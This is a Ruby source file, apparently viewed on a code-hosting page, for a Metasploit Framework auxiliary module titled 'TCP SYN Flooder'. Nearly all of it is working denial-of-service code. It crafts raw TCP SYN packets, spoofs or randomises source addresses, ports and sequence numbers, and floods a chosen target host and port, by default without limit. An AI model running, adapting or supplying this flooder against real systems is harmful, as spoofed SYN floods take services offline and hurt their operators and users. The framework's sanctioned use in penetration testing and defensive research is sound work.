84 lines
1.6 KiB
Ruby
84 lines
1.6 KiB
Ruby
##
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# $Id$
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##
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##
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# This file is part of the Metasploit Framework and may be subject to
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# redistribution and commercial restrictions. Please see the Metasploit
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# Framework web site for more information on licensing and terms of use.
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# http://metasploit.com/framework/
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##
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require 'msf/core'
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require 'racket'
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class Metasploit3 < Msf::Auxiliary
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include Msf::Exploit::Remote::Ip
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include Msf::Auxiliary::Dos
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def initialize
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super(
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'Name' => 'TCP SYN Flooder',
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'Description' => 'A simple TCP SYN flooder',
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'Author' => 'kris katterjohn',
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'License' => MSF_LICENSE,
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'Version' => '$Revision$' # 03/13/2009
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)
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register_options([
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Opt::RPORT(80),
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OptAddress.new('SHOST', [false, 'The spoofable source address (else randomizes)']),
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OptInt.new('NUM', [false, 'Number of SYNs to send (else unlimited)'])
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])
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end
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def rport
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datastore['RPORT'].to_i
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end
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def srchost
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datastore['SHOST'] || [rand(0x100000000)].pack('N').unpack('C*').join('.')
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end
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def run
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return if not connect_ip
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sent = 0
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num = datastore['NUM']
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print_status("SYN flooding #{rhost}:#{rport}...")
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n = Racket::Racket.new
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n.l3 = Racket::IPv4.new
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n.l3.dst_ip = rhost
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n.l3.protocol = 6
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n.l4 = Racket::TCP.new
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n.l4.src_port = rand(65535)+1
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n.l4.dst_port = rport
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n.l4.flag_syn = 1
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n.l4.ack = 0
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while (num <= 0) or (sent < num)
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n.l3.src_ip = srchost
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n.l3.id = rand(0x10000)
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n.l3.ttl = rand(128)+128
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n.l4.window = rand(4096)+1
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n.l4.src_port = rand(65535)+1
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n.l4.seq = rand(0x100000000)
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n.l4.fix!(n.l3.src_ip, n.l3.dst_ip, '')
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pkt = n.pack
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ip_write(pkt)
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sent += 1
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end
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disconnect_ip
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end
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end
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